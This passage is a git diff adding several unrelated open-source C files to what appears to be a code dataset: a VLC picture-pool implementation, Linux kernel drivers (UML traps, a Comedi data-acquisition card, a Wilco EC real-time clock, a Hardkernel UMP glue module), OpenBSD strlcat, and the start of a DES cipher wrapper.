+picture_pool_t *picture_pool_Reserve(picture_pool_t *master, int count)
+{
+    picture_pool_t *pool = Create(master, count);
+    if (!pool)
+        return NULL;
+
+    int found = 0;
+    for (int i = 0; i < master->picture_count && found < count; i++) {
+        if (master->picture_reserved[i])
+            continue;
+
+        assert(master->picture[i]->i_refcount == 0);
+        master->picture_reserved[i] = true;
+
+        pool->picture[found]          = master->picture[i];
+        pool->picture_reserved[found] = false;
+        found++;
+    }
+    if (found < count) {
+        picture_pool_Delete(pool);
+        return NULL;
+    }
+    return pool;
+}
+
+void picture_pool_Delete(picture_pool_t *pool)
+{
+    for (int i = 0; i < pool->picture_count; i++) {
+        picture_t *picture = pool->picture[i];
+        if (pool->master) {
+            for (int j = 0; j < pool->master->picture_count; j++) {
+                if (pool->master->picture[j] == picture)
+                    pool->master->picture_reserved[j] = false;
+            }
+        } else {
+            picture_release_sys_t *release_sys = picture->p_release_sys;
+
+            assert(picture->i_refcount == 0);
+            assert(!pool->picture_reserved[i]);
+
+            /* Restore old release callback */
+            picture->i_refcount    = 1;
+            picture->pf_release    = release_sys->release;
+            picture->p_release_sys = release_sys->release_sys;
+
+            picture_Release(picture);
+
+            free(release_sys);
+        }
+    }
+    free(pool->picture_reserved);
+    free(pool->picture);
+    free(pool);
+}
+
+picture_t *picture_pool_Get(picture_pool_t *pool)
+{
+    for (int i = 0; i < pool->picture_count; i++) {
+        if (pool->picture_reserved[i])
+            continue;
+
+        picture_t *picture = pool->picture[i];
+        if (picture->i_refcount > 0)
+            continue;
+
+        if (Lock(picture))
+            continue;
+
+        /* */
+        picture->p_next = NULL;
+        picture->p_release_sys->tick = pool->tick++;
+        picture_Hold(picture);
+        return picture;
+    }
+    return NULL;
+}
+
+void picture_pool_NonEmpty(picture_pool_t *pool, bool reset)
+{
+    picture_t *old = NULL;
+
+    for (int i = 0; i < pool->picture_count; i++) {
+        if (pool->picture_reserved[i])
+            continue;
+
+        picture_t *picture = pool->picture[i];
+        if (reset) {
+            if (picture->i_refcount > 0)
+                Unlock(picture);
+            picture->i_refcount = 0;
+        } else if (picture->i_refcount == 0) {
+            return;
+        } else if (!old || picture->p_release_sys->tick < old->p_release_sys->tick) {
+            old = picture;
+        }
+    }
+    if (!reset && old) {
+        if (old->i_refcount > 0)
+            Unlock(old);
+        old->i_refcount = 0;
+    }
+}
+int picture_pool_GetSize(picture_pool_t *pool)
+{
+    return pool->picture_count;
+}
+
+static void Release(picture_t *picture)
+{
+    assert(picture->i_refcount > 0);
+
+    if (--picture->i_refcount > 0)
+        return;
+    Unlock(picture);
+}
+
+static int Lock(picture_t *picture)
+{
+    picture_release_sys_t *release_sys = picture->p_release_sys;
+    if (release_sys->lock)
+        return release_sys->lock(picture);
+    return VLC_SUCCESS;
+}
+static void Unlock(picture_t *picture)
+{
+    picture_release_sys_t *release_sys = picture->p_release_sys;
+    if (release_sys->unlock)
+        release_sys->unlock(picture);
+}
+
diff --git a/pool/shard001/C/0023173_trap.c b/pool/shard001/C/0023173_trap.c
new file mode 100644
index 0000000000000000000000000000000000000000..a9f6b26f9828f8f4c0a99bc6a2f8449054be8bb8
--- /dev/null
+++ b/pool/shard001/C/0023173_trap.c
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2000, 2001, 2002 Jeff Dike (jdike@karaya.com)
+ * Licensed under the GPL
+ */
+
+#include <stdlib.h>
+#include <signal.h>
+#include <setjmp.h>
+#include "kern_util.h"
+#include "user_util.h"
+#include "os.h"
+#include "mode.h"
+#include "longjmp.h"
+
+void usr2_handler(int sig, union uml_pt_regs *regs)
+{
+	CHOOSE_MODE(syscall_handler_tt(sig, regs), (void) 0);
+}
+
+void (*sig_info[NSIG])(int, union uml_pt_regs *);
+
+void os_fill_handlinfo(struct kern_handlers h)
+{
+	sig_info[SIGTRAP] = h.relay_signal;
+	sig_info[SIGFPE] = h.relay_signal;
+	sig_info[SIGILL] = h.relay_signal;
+	sig_info[SIGWINCH] = h.winch;
+	sig_info[SIGBUS] = h.bus_handler;
+	sig_info[SIGSEGV] = h.page_fault;
+	sig_info[SIGIO] = h.sigio_handler;
+	sig_info[SIGVTALRM] = h.timer_handler;
+	sig_info[SIGALRM] = h.timer_handler;
+	sig_info[SIGUSR2] = usr2_handler;
+}
+
+void do_longjmp(void *b, int val)
+{
+	sigjmp_buf *buf = b;
+
+	UML_SIGLONGJMP(buf, val);
+}
diff --git a/pool/shard001/C/0023176_cb_pcimdas.c b/pool/shard001/C/0023176_cb_pcimdas.c
new file mode 100644
index 0000000000000000000000000000000000000000..8b5c198862a1a44cf7806f70d85c6b57fb0c73cd
--- /dev/null
+++ b/pool/shard001/C/0023176_cb_pcimdas.c
@@ -0,0 +1,308 @@
+/*
+    comedi/drivers/cb_pcimdas.c
+    Comedi driver for Computer Boards PCIM-DAS1602/16
+
+    COMEDI - Linux Control and Measurement Device Interface
+    Copyright (C) 2000 David A. Schleef <ds@schleef.org>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+*/
+/*
+Driver: cb_pcimdas
+Description: Measurement Computing PCI Migration series boards
+Devices: [ComputerBoards] PCIM-DAS1602/16 (cb_pcimdas)
+Author: Richard Bytheway
+Updated: Wed, 13 Nov 2002 12:34:56 +0000
+Status: experimental
+
+Written to support the PCIM-DAS1602/16 on a 2.4 series kernel.
+
+Configuration Options:
+    [0] - PCI bus number
+    [1] - PCI slot number
+
+Developed from cb_pcidas and skel by Richard Bytheway (mocelet@sucs.org).
+Only supports DIO, AO and simple AI in it's present form.
+No interrupts, multi channel or FIFO AI, although the card looks like it could support this.
+See http://www.mccdaq.com/PDFs/Manuals/pcim-das1602-16.pdf for more details.
+*/
+
+#include <linux/pci.h>
+#include <linux/delay.h>
+#include <linux/interrupt.h>
+
+#include "../comedidev.h"
+
+#include "plx9052.h"
+#include "8255.h"
+
+/* #define CBPCIMDAS_DEBUG */
+#undef CBPCIMDAS_DEBUG
+
+/* Registers for the PCIM-DAS1602/16 */
+
+/* sizes of io regions (bytes) */
+#define BADR3_SIZE 16
+
+/* DAC Offsets */
+#define ADC_TRIG 0
+#define DAC0_OFFSET 2
+#define DAC1_OFFSET 4
+
+/* AI and Counter Constants */
+#define MUX_LIMITS 0
+#define MAIN_CONN_DIO 1
+#define ADC_STAT 2
+#define ADC_CONV_STAT 3
+#define ADC_INT 4
+#define ADC_PACER 5
+#define BURST_MODE 6
+#define PROG_GAIN 7
+#define CLK8254_1_DATA 8
+#define CLK8254_2_DATA 9
+#define CLK8254_3_DATA 10
+#define CLK8254_CONTROL 11
+#define USER_COUNTER 12
+#define RESID_COUNT_H 13
+#define RESID_COUNT_L 14
+
+/*
+ * this structure is for data unique to this hardware driver.  If
+ * several hardware drivers keep similar information in this structure,
+ * feel free to suggest moving the variable to the struct comedi_device
+ * struct.
+ */
+struct cb_pcimdas_private {
+	/* base addresses */
+	unsigned long BADR3;
+
+	/* Used for AO readback */
+	unsigned int ao_readback[2];
+};
+
+/*
+ * "instructions" read/write data in "one-shot" or "software-triggered"
+ * mode.
+ */
+static int cb_pcimdas_ai_rinsn(struct comedi_device *dev,
+			       struct comedi_subdevice *s,
+			       struct comedi_insn *insn, unsigned int *data)
+{
+	struct cb_pcimdas_private *devpriv = dev->private;
+	int n, i;
+	unsigned int d;
+	unsigned int busy;
+	int chan = CR_CHAN(insn->chanspec);
+	unsigned short chanlims;
+	int maxchans;
+
+	/*  only support sw initiated reads from a single channel */
+
+	/* check channel number */
+	if ((inb(devpriv->BADR3 + 2) & 0x20) == 0)	/* differential mode */
+		maxchans = s->n_chan / 2;
+	else
+		maxchans = s->n_chan;
+
+	if (chan > (maxchans - 1))
+		return -ETIMEDOUT;	/* *** Wrong error code. Fixme. */
+
+	/* configure for sw initiated read */
+	d = inb(devpriv->BADR3 + 5);
+	if ((d & 0x03) > 0) {	/* only reset if needed. */
+		d = d & 0xfd;
+		outb(d, devpriv->BADR3 + 5);
+	}
+	outb(0x01, devpriv->BADR3 + 6);	/* set bursting off, conversions on */
+	outb(0x00, devpriv->BADR3 + 7);	/* set range to 10V. UP/BP is controlled by a switch on the board */
+
+	/*
+	 * write channel limits to multiplexer, set Low (bits 0-3) and
+	 * High (bits 4-7) channels to chan.
+	 */
+	chanlims = chan | (chan << 4);
+	outb(chanlims, devpriv->BADR3 + 0);
+
+	/* convert n samples */
+	for (n = 0; n < insn->n; n++) {
+		/* trigger conversion */
+		outw(0, dev->iobase + 0);
+
+#define TIMEOUT 1000		/* typically takes 5 loops on a lightly loaded Pentium 100MHz, */
+		/* this is likely to be 100 loops on a 2GHz machine, so set 1000 as the limit. */
+
+		/* wait for conversion to end */
+		for (i = 0; i < TIMEOUT; i++) {
+			busy = inb(devpriv->BADR3 + 2) & 0x80;
+			if (!busy)
+				break;
+		}
+		if (i == TIMEOUT) {
+			printk("timeout\n");
+			return -ETIMEDOUT;
+		}
+		/* read data */
+		data[n] = inw(dev->iobase + 0);
+	}
+
+	/* return the number of samples read/written */
+	return n;
+}
+
+static int cb_pcimdas_ao_winsn(struct comedi_device *dev,
+			       struct comedi_subdevice *s,
+			       struct comedi_insn *insn, unsigned int *data)
+{
+	struct cb_pcimdas_private *devpriv = dev->private;
+	int i;
+	int chan = CR_CHAN(insn->chanspec);
+
+	/* Writing a list of values to an AO channel is probably not
+	 * very useful, but that's how the interface is defined. */
+	for (i = 0; i < insn->n; i++) {
+		switch (chan) {
+		case 0:
+			outw(data[i] & 0x0FFF, dev->iobase + DAC0_OFFSET);
+			break;
+		case 1:
+			outw(data[i] & 0x0FFF, dev->iobase + DAC1_OFFSET);
+			break;
+		default:
+			return -1;
+		}
+		devpriv->ao_readback[chan] = data[i];
+	}
+
+	/* return the number of samples read/written */
+	return i;
+}
+
+/* AO subdevices should have a read insn as well as a write insn.
+ * Usually this means copying a value stored in devpriv. */
+static int cb_pcimdas_ao_rinsn(struct comedi_device *dev,
+			       struct comedi_subdevice *s,
+			       struct comedi_insn *insn, unsigned int *data)
+{
+	struct cb_pcimdas_private *devpriv = dev->private;
+	int i;
+	int chan = CR_CHAN(insn->chanspec);
+
+	for (i = 0; i < insn->n; i++)
+		data[i] = devpriv->ao_readback[chan];
+
+	return i;
+}
+
+static int cb_pcimdas_auto_attach(struct comedi_device *dev,
+					    unsigned long context_unused)
+{
+	struct pci_dev *pcidev = comedi_to_pci_dev(dev);
+	struct cb_pcimdas_private *devpriv;
+	struct comedi_subdevice *s;
+	unsigned long iobase_8255;
+	int ret;
+
+	devpriv = kzalloc(sizeof(*devpriv), GFP_KERNEL);
+	if (!devpriv)
+		return -ENOMEM;
+	dev->private = devpriv;
+
+	ret = comedi_pci_enable(dev);
+	if (ret)
+		return ret;
+
+	dev->iobase = pci_resource_start(pcidev, 2);
+	devpriv->BADR3 = pci_resource_start(pcidev, 3);
+	iobase_8255 = pci_resource_start(pcidev, 4);
+
+/* Dont support IRQ yet */
+/*  get irq */
+/* if(request_irq(pcidev->irq, cb_pcimdas_interrupt, IRQF_SHARED, "cb_pcimdas", dev )) */
+/* { */
+/* printk(" unable to allocate irq %u\n", pcidev->irq); */
+/* return -EINVAL; */
+/* } */
+/* dev->irq = pcidev->irq; */
+
+	ret = comedi_alloc_subdevices(dev, 3);
+	if (ret)
+		return ret;
+
+	s = &dev->subdevices[0];
+	/* dev->read_subdev=s; */
+	/*  analog input subdevice */
+	s->type = COMEDI_SUBD_AI;
+	s->subdev_flags = SDF_READABLE | SDF_GROUND;
+	s->n_chan = 16;
+	s->maxdata = 0xffff;
+	s->range_table = &range_unknown;
+	s->len_chanlist = 1;	/*  This is the maximum chanlist length that */
+	/*  the board can handle */
+	s->insn_read = cb_pcimdas_ai_rinsn;
+
+	s = &dev->subdevices[1];
+	/*  analog output subdevice */
+	s->type = COMEDI_SUBD_AO;
+	s->subdev_flags = SDF_WRITABLE;
+	s->n_chan = 2;
+	s->maxdata = 0xfff;
+	/* ranges are hardware settable, but not software readable. */
+	s->range_table = &range_unknown;
+	s->insn_write = &cb_pcimdas_ao_winsn;
+	s->insn_read = &cb_pcimdas_ao_rinsn;
+
+	s = &dev->subdevices[2];
+	/* digital i/o subdevice */
+	subdev_8255_init(dev, s, NULL, iobase_8255);
+
+	dev_info(dev->class_dev, "%s attached\n", dev->board_name);
+
+	return 0;
+}
+
+static void cb_pcimdas_detach(struct comedi_device *dev)
+{
+	if (dev->irq)
+		free_irq(dev->irq, dev);
+	comedi_pci_disable(dev);
+}
+
+static struct comedi_driver cb_pcimdas_driver = {
+	.driver_name	= "cb_pcimdas",
+	.module		= THIS_MODULE,
+	.auto_attach	= cb_pcimdas_auto_attach,
+	.detach		= cb_pcimdas_detach,
+};
+
+static int cb_pcimdas_pci_probe(struct pci_dev *dev,
+				const struct pci_device_id *id)
+{
+	return comedi_pci_auto_config(dev, &cb_pcimdas_driver,
+				      id->driver_data);
+}
+
+static DEFINE_PCI_DEVICE_TABLE(cb_pcimdas_pci_table) = {
+	{ PCI_DEVICE(PCI_VENDOR_ID_CB, 0x0056) },
+	{ 0 }
+};
+MODULE_DEVICE_TABLE(pci, cb_pcimdas_pci_table);
+
+static struct pci_driver cb_pcimdas_pci_driver = {
+	.name		= "cb_pcimdas",
+	.id_table	= cb_pcimdas_pci_table,
+	.probe		= cb_pcimdas_pci_probe,
+	.remove		= comedi_pci_auto_unconfig,
+};
+module_comedi_pci_driver(cb_pcimdas_driver, cb_pcimdas_pci_driver);
+
+MODULE_AUTHOR("Comedi http://www.comedi.org");
+MODULE_DESCRIPTION("Comedi low-level driver");
+MODULE_LICENSE("GPL");
diff --git a/pool/shard001/C/0023198_rtc-wilco-ec.c b/pool/shard001/C/0023198_rtc-wilco-ec.c
new file mode 100644
index 0000000000000000000000000000000000000000..ff46066a68a4c8bd080d74a7de4f38b907b01e89
--- /dev/null
+++ b/pool/shard001/C/0023198_rtc-wilco-ec.c
@@ -0,0 +1,194 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * RTC interface for Wilco Embedded Controller with R/W abilities
+ *
+ * Copyright 2018 Google LLC
+ *
+ * The corresponding platform device is typically registered in
+ * drivers/platform/chrome/wilco_ec/core.c
+ */
+
+#include <linux/bcd.h>
+#include <linux/err.h>
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/platform_device.h>
+#include <linux/platform_data/wilco-ec.h>
+#include <linux/rtc.h>
+#include <linux/timekeeping.h>
+
+#define EC_COMMAND_CMOS			0x7c
+#define EC_CMOS_TOD_WRITE		0x02
+#define EC_CMOS_TOD_READ		0x08
+
+/* Message sent to the EC to request the current time. */
+struct ec_rtc_read_request {
+	u8 command;
+	u8 reserved;
+	u8 param;
+} __packed;
+static struct ec_rtc_read_request read_rq = {
+	.command = EC_COMMAND_CMOS,
+	.param = EC_CMOS_TOD_READ,
+};
+
+/**
+ * struct ec_rtc_read_response - Format of RTC returned by EC.
+ * @reserved: Unused byte
+ * @second: Second value (0..59)
+ * @minute: Minute value (0..59)
+ * @hour: Hour value (0..23)
+ * @day: Day value (1..31)
+ * @month: Month value (1..12)
+ * @year: Year value (full year % 100)
+ * @century: Century value (full year / 100)
+ *
+ * All values are presented in binary (not BCD).
+ */
+struct ec_rtc_read_response {
+	u8 reserved;
+	u8 second;
+	u8 minute;
+	u8 hour;
+	u8 day;
+	u8 month;
+	u8 year;
+	u8 century;
+} __packed;
+
+/**
+ * struct ec_rtc_write_request - Format of RTC sent to the EC.
+ * @command: Always EC_COMMAND_CMOS
+ * @reserved: Unused byte
+ * @param: Always EC_CMOS_TOD_WRITE
+ * @century: Century value (full year / 100)
+ * @year: Year value (full year % 100)
+ * @month: Month value (1..12)
+ * @day: Day value (1..31)
+ * @hour: Hour value (0..23)
+ * @minute: Minute value (0..59)
+ * @second: Second value (0..59)
+ * @weekday: Day of the week (0=Saturday)
+ *
+ * All values are presented in BCD.
+ */
+struct ec_rtc_write_request {
+	u8 command;
+	u8 reserved;
+	u8 param;
+	u8 century;
+	u8 year;
+	u8 month;
+	u8 day;
+	u8 hour;
+	u8 minute;
+	u8 second;
+	u8 weekday;
+} __packed;
+
+static int wilco_ec_rtc_read(struct device *dev, struct rtc_time *tm)
+{
+	struct wilco_ec_device *ec = dev_get_drvdata(dev->parent);
+	struct ec_rtc_read_response rtc;
+	struct wilco_ec_message msg;
+	int ret;
+
+	memset(&msg, 0, sizeof(msg));
+	msg.type = WILCO_EC_MSG_LEGACY;
+	msg.request_data = &read_rq;
+	msg.request_size = sizeof(read_rq);
+	msg.response_data = &rtc;
+	msg.response_size = sizeof(rtc);
+
+	ret = wilco_ec_mailbox(ec, &msg);
+	if (ret < 0)
+		return ret;
+
+	tm->tm_sec	= rtc.second;
+	tm->tm_min	= rtc.minute;
+	tm->tm_hour	= rtc.hour;
+	tm->tm_mday	= rtc.day;
+	tm->tm_mon	= rtc.month - 1;
+	tm->tm_year	= rtc.year + (rtc.century * 100) - 1900;
+	/* Ignore other tm fields, man rtc says userspace shouldn't use them. */
+
+	if (rtc_valid_tm(tm)) {
+		dev_err(dev, "Time from RTC is invalid: %ptRr\n", tm);
+		return -EIO;
+	}
+
+	return 0;
+}
+
+static int wilco_ec_rtc_write(struct device *dev, struct rtc_time *tm)
+{
+	struct wilco_ec_device *ec = dev_get_drvdata(dev->parent);
+	struct ec_rtc_write_request rtc;
+	struct wilco_ec_message msg;
+	int year = tm->tm_year + 1900;
+	/*
+	 * Convert from 0=Sunday to 0=Saturday for the EC
+	 * We DO need to set weekday because the EC controls battery charging
+	 * schedules that depend on the day of the week.
+	 */
+	int wday = tm->tm_wday == 6 ? 0 : tm->tm_wday + 1;
+	int ret;
+
+	rtc.command	= EC_COMMAND_CMOS;
+	rtc.param	= EC_CMOS_TOD_WRITE;
+	rtc.century	= bin2bcd(year / 100);
+	rtc.year	= bin2bcd(year % 100);
+	rtc.month	= bin2bcd(tm->tm_mon + 1);
+	rtc.day		= bin2bcd(tm->tm_mday);
+	rtc.hour	= bin2bcd(tm->tm_hour);
+	rtc.minute	= bin2bcd(tm->tm_min);
+	rtc.second	= bin2bcd(tm->tm_sec);
+	rtc.weekday	= bin2bcd(wday);
+
+	memset(&msg, 0, sizeof(msg));
+	msg.type = WILCO_EC_MSG_LEGACY;
+	msg.request_data = &rtc;
+	msg.request_size = sizeof(rtc);
+
+	ret = wilco_ec_mailbox(ec, &msg);
+	if (ret < 0)
+		return ret;
+
+	return 0;
+}
+
+static const struct rtc_class_ops wilco_ec_rtc_ops = {
+	.read_time = wilco_ec_rtc_read,
+	.set_time = wilco_ec_rtc_write,
+};
+
+static int wilco_ec_rtc_probe(struct platform_device *pdev)
+{
+	struct rtc_device *rtc;
+
+	rtc = devm_rtc_allocate_device(&pdev->dev);
+	if (IS_ERR(rtc))
+		return PTR_ERR(rtc);
+
+	rtc->ops = &wilco_ec_rtc_ops;
+	/* EC only supports this century */
+	rtc->range_min = RTC_TIMESTAMP_BEGIN_2000;
+	rtc->range_max = RTC_TIMESTAMP_END_2099;
+	rtc->owner = THIS_MODULE;
+
+	return rtc_register_device(rtc);
+}
+
+static struct platform_driver wilco_ec_rtc_driver = {
+	.driver = {
+		.name = "rtc-wilco-ec",
+	},
+	.probe = wilco_ec_rtc_probe,
+};
+
+module_platform_driver(wilco_ec_rtc_driver);
+
+MODULE_ALIAS("platform:rtc-wilco-ec");
+MODULE_AUTHOR("Nick Crews <ncrews@chromium.org>");
+MODULE_LICENSE("GPL v2");
+MODULE_DESCRIPTION("Wilco EC RTC driver");
diff --git a/pool/shard001/C/0023203_strlcat.c b/pool/shard001/C/0023203_strlcat.c
new file mode 100644
index 0000000000000000000000000000000000000000..48334afffa1a43a13b61b4fac14660385a12fa7f
--- /dev/null
+++ b/pool/shard001/C/0023203_strlcat.c
@@ -0,0 +1,57 @@
+/*	$OpenBSD: strlcat.c,v 1.13 2005/08/08 08:05:37 espie Exp $	*/
+
+/*
+ * Copyright (c) 1998 Todd C. Miller <Todd.Miller@courtesan.com>
+ *
+ * Permission to use, copy, modify, and distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ */
+
+#include <sys/types.h>
+#include <string.h>
+
+#include "strlcat.h"
+
+/*
+ * Appends src to string dst of size siz (unlike strncat, siz is the
+ * full size of dst, not space left).  At most siz-1 characters
+ * will be copied.  Always NUL terminates (unless siz <= strlen(dst)).
+ * Returns strlen(src) + MIN(siz, strlen(initial dst)).
+ * If retval >= siz, truncation occurred.
+ */
+size_t
+strlcat(char *dst, const char *src, size_t siz)
+{
+	char *d = dst;
+	const char *s = src;
+	size_t n = siz;
+	size_t dlen;
+
+	/* Find the end of dst and adjust bytes left but don't go past end */
+	while (n-- != 0 && *d != '\0')
+		d++;
+	dlen = d - dst;
+	n = siz - dlen;
+
+	if (n == 0)
+		return(dlen + strlen(s));
+	while (*s != '\0') {
+		if (n != 1) {
+			*d++ = *s;
+			n--;
+		}
+		s++;
+	}
+	*d = '\0';
+
+	return(dlen + (s - src));	/* count does not include NUL */
+}
diff --git a/pool/shard001/C/0023210_hardkernel_ump.c b/pool/shard001/C/0023210_hardkernel_ump.c
new file mode 100644
index 0000000000000000000000000000000000000000..62958a2d28df1d7bc78334167d7764bac41c38a5
--- /dev/null
+++ b/pool/shard001/C/0023210_hardkernel_ump.c
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2012 Henrik Nordstrom <henrik@henriknordstrom.net>
+ * Copyright (C) 2013 Mauro Ribeiro <mauro.ribeiro@hardkernel.com>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.	 See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
+ * MA 02111-1307 USA
+ */
+
+#include "linux/kernel.h"
+#include "linux/mm.h"
+#include <linux/uaccess.h>
+#include <asm/memory.h>   
+#include <linux/unistd.h> 
+#include "linux/semaphore.h"
+#include <linux/vmalloc.h>  
+#include <linux/fs.h>
+#include <linux/dma-mapping.h>
+#include <linux/fb.h>
+#include <linux/sched.h> /* wake_up_process() */
+#include <linux/kthread.h> /* kthread_create(), kthread_run() */
+#include <linux/err.h> /* IS_ERR(), PTR_ERR() */
+#include <linux/delay.h>
+#include <linux/platform_device.h>
+#include "asm-generic/int-ll64.h" 
+#include <linux/errno.h>
+#include <linux/slab.h> 
+#include <linux/delay.h>
+#include <linux/init.h> 
+#include <linux/dma-mapping.h>
+#include <linux/interrupt.h>  
+#include <linux/platform_device.h>
+#include <linux/clk.h>
+#include <linux/cdev.h>
+#include <linux/types.h>
+#include <video/hardkernel_ump.h>
+
+#include "linux/ump_kernel_linux.h"
+#include "common/ump_kernel_memory_backend.h"
+#include <ump/ump_kernel_interface_ref_drv.h>
+
+int (*disp_get_ump_secure_id) (struct fb_info *info, unsigned long arg, int buf);
+EXPORT_SYMBOL(disp_get_ump_secure_id);
+
+static int _disp_get_ump_secure_id(struct fb_info *info, unsigned long arg, int buf) {
+
+	int buf_len = info->fix.smem_len;
+	u32 __user *psecureid = (u32 __user *) arg;
+	ump_secure_id secure_id;
+	ump_dd_physical_block ump_memory_description;
+	ump_dd_handle ump_wrapped_buffer;
+
+	if (info->var.yres * 2 == info->var.yres_virtual)
+		buf_len = buf_len >> 1;	
+	else
+		pr_warn("HardkernelUMP: Double buffer disabled!\n");
+
+	ump_memory_description.addr = info->fix.smem_start + (buf_len * buf);
+	ump_memory_description.size = info->fix.smem_len;
+	                                
+	if(buf > 0) { 
+		ump_memory_description.addr += (buf_len * (buf - 1));
+		ump_memory_description.size = buf_len;
+	} 
+	
+	ump_wrapped_buffer = ump_dd_handle_create_from_phys_blocks(&ump_memory_description, 1);
+
+	secure_id = ump_dd_secure_id_get(ump_wrapped_buffer);
+	
+	return put_user((unsigned int)secure_id, psecureid);
+}
+
+static int __init disp_ump_module_init(void) {
+	int ret = 0;
+
+	disp_get_ump_secure_id = _disp_get_ump_secure_id;
+	pr_emerg("Hardkernel UMP: Loaded!\n");
+
+	return ret;
+}
+
+static void __exit disp_ump_module_exit(void) {
+	disp_get_ump_secure_id = NULL;
+}
+
+module_init(disp_ump_module_init);
+module_exit(disp_ump_module_exit);
+
+MODULE_AUTHOR("Henrik Nordstrom <henrik@henriknordstrom.net>");
+MODULE_AUTHOR("Mauro Ribeiro <mauro.ribeiro@hardkernel.com>");
+MODULE_DESCRIPTION("Hardkernel UMP Glue Driver");
+MODULE_LICENSE("GPL");
diff --git a/pool/shard001/C/0023211_e_des.c b/pool/shard001/C/0023211_e_des.c
new file mode 100644
index 0000000000000000000000000000000000000000..4c09a81f80b745333413bccf6ce9b495a80c3844
--- /dev/null
+++ b/pool/shard001/C/0023211_e_des.c
@@ -0,0 +1,135 @@
+/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)
+ * All rights reserved.
+ *
+ * This package is an SSL implementation written
+ * by Eric Young (eay@cryptsoft.com).
+ * The implementation was written so as to conform with Netscapes SSL.
+ *
+ * This library is free for commercial and non-commercial use as long as
+ * the following conditions are aheared to.  The following conditions
+ * apply to all code found in this distribution, be it the RC4, RSA,
+ * lhash, DES, etc., code; not just the SSL code.  The SSL documentation
+ * included with this distribution is covered by the same copyright terms
+ * except that the holder is Tim Hudson (tjh@cryptsoft.com).
+ *
+ * Copyright remains Eric Young's, and as such any Copyright notices in
+ * the code are not to be removed.
+ * If this package is used in a product, Eric Young should be given attribution
+ * as the author of the parts of the library used.
+ * This can be in the form of a textual message at program startup or
+ * in documentation (online or textual) provided with the package.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. All advertising materials mentioning features or use of this software
+ *    must display the following acknowledgement:
+ *    "This product includes cryptographic software written by
+ *     Eric Young (eay@cryptsoft.com)"
+ *    The word 'cryptographic' can be left out if the rouines from the library
+ *    being used are not cryptographic related :-).
+ * 4. If you include any Windows specific code (or a derivative thereof) from
+ *    the apps directory (application code) you must include an acknowledgement:
+ *    "This product includes software written by Tim Hudson (tjh@cryptsoft.com)"
+ *
+ * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * The licence and distribution terms for any publically available version or
+ * derivative of this code cannot be changed.  i.e. this code cannot simply be
+ * copied and put under another distribution licence
+ * [including the GNU Public Licence.] */
+
+#include <openssl/cipher.h>
+#include <openssl/des.h>
+#include <openssl/obj.h>
+
+#include "internal.h"
+
+
+typedef struct {
+  union {
+    double align;
+    DES_key_schedule ks;
+  } ks;
+} EVP_DES_KEY;
+
+static int des_init_key(EVP_CIPHER_CTX *ctx, const uint8_t *key,
+                        const uint8_t *iv, int enc) {
+  DES_cblock *deskey = (DES_cblock *)key;
+  EVP_DES_KEY *dat = (EVP_DES_KEY *)ctx->cipher_data;
+
+  DES_set_key(deskey, &dat->ks.ks);
+  return 1;
+}
+
+static int des_cbc_cipher(EVP_CIPHER_CTX *ctx, uint8_t *out, const uint8_t *in,
+                          size_t in_len) {
+  EVP_DES_KEY *dat = (EVP_DES_KEY *)ctx->cipher_data;
+
+  DES_ncbc_encrypt(in, out, in_len, &dat->ks.ks, (DES_cblock *)ctx->iv,
